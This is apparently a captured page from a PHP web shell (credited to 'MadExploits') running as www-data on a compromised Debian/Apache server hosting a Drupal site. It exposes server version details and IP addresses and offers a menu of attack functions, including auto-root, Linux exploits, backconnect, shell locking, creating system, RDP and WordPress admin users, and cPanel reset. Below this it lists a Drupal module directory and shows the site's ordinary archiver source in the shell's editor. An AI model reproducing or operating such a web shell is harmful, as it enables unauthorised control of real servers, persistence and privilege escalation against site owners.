Linux polon 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
Apache/2.4.59 (Debian)
: 10.2.73.233 | : 3.137.170.38
Cant Read [ /etc/named.conf ]
5.6.40-64+0~20230107.71+debian10~1.gbp673146
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
baltic /
web /
modules /
system /
[ HOME SHELL ]
Name
Size
Permission
Action
tests
[ DIR ]
drwxr-xr-x
form.api.php
5.02
KB
-rw-r--r--
html.tpl.php
2.67
KB
-rw-r--r--
image.gd.inc
12.82
KB
-rw-r--r--
language.api.php
6.41
KB
-rw-r--r--
maintenance-page.tpl.php
2.95
KB
-rw-r--r--
page.tpl.php
6.77
KB
-rw-r--r--
region.tpl.php
1.28
KB
-rw-r--r--
system.admin-rtl.css
1.44
KB
-rw-r--r--
system.admin.css
5
KB
-rw-r--r--
system.admin.inc
113.39
KB
-rw-r--r--
system.api.php
197.18
KB
-rw-r--r--
system.archiver.inc
3.02
KB
-rw-r--r--
system.base-rtl.css
873
B
-rw-r--r--
system.base.css
5.3
KB
-rw-r--r--
system.cron.js
489
B
-rw-r--r--
system.info
462
B
-rw-r--r--
system.install
112.52
KB
-rw-r--r--
system.js
4.59
KB
-rw-r--r--
system.mail.inc
4.54
KB
-rw-r--r--
system.maintenance.css
811
B
-rw-r--r--
system.menus-rtl.css
551
B
-rw-r--r--
system.menus.css
1.99
KB
-rw-r--r--
system.messages-rtl.css
176
B
-rw-r--r--
system.messages.css
961
B
-rw-r--r--
system.module
138.25
KB
-rw-r--r--
system.queue.inc
12.34
KB
-rw-r--r--
system.tar.inc
62.34
KB
-rw-r--r--
system.test
112.7
KB
-rw-r--r--
system.theme-rtl.css
811
B
-rw-r--r--
system.theme.css
3.62
KB
-rw-r--r--
system.tokens.inc
7.95
KB
-rw-r--r--
system.updater.inc
4.56
KB
-rw-r--r--
theme.api.php
8.78
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : system.archiver.inc
<?php /** * @file * Archiver implementations provided by the system module. */ /** * Archiver for .tar files. */ class ArchiverTar implements ArchiverInterface { /** * The underlying Archive_Tar instance that does the heavy lifting. * * @var Archive_Tar */ protected $tar; public function __construct($file_path) { $this->tar = new Archive_Tar($file_path); } public function add($file_path) { $this->tar->add($file_path); return $this; } public function remove($file_path) { // @todo Archive_Tar doesn't have a remove operation // so we'll have to simulate it somehow, probably by // creating a new archive with everything but the removed // file. return $this; } public function extract($path, Array $files = array()) { if ($files) { $this->tar->extractList($files, $path); } else { $this->tar->extract($path); } return $this; } public function listContents() { $files = array(); foreach ($this->tar->listContent() as $file_data) { $files[] = $file_data['filename']; } return $files; } /** * Retrieve the tar engine itself. * * In some cases it may be necessary to directly access the underlying * Archive_Tar object for implementation-specific logic. This is for advanced * use only as it is not shared by other implementations of ArchiveInterface. * * @return * The Archive_Tar object used by this object. */ public function getArchive() { return $this->tar; } } /** * Archiver for .zip files. * * @link http://php.net/zip */ class ArchiverZip implements ArchiverInterface { /** * The underlying ZipArchive instance that does the heavy lifting. * * @var ZipArchive */ protected $zip; public function __construct($file_path) { $this->zip = new ZipArchive(); if ($this->zip->open($file_path) !== TRUE) { // @todo: This should be an interface-specific exception some day. throw new Exception(t('Cannot open %file_path', array('%file_path' => $file_path))); } } public function add($file_path) { $this->zip->addFile($file_path); return $this; } public function remove($file_path) { $this->zip->deleteName($file_path); return $this; } public function extract($path, Array $files = array()) { if ($files) { $this->zip->extractTo($path, $files); } else { $this->zip->extractTo($path); } return $this; } public function listContents() { $files = array(); for ($i=0; $i < $this->zip->numFiles; $i++) { $files[] = $this->zip->getNameIndex($i); } return $files; } /** * Retrieve the zip engine itself. * * In some cases it may be necessary to directly access the underlying * ZipArchive object for implementation-specific logic. This is for advanced * use only as it is not shared by other implementations of ArchiveInterface. * * @return * The ZipArchive object used by this object. */ public function getArchive() { return $this->zip; } }
Close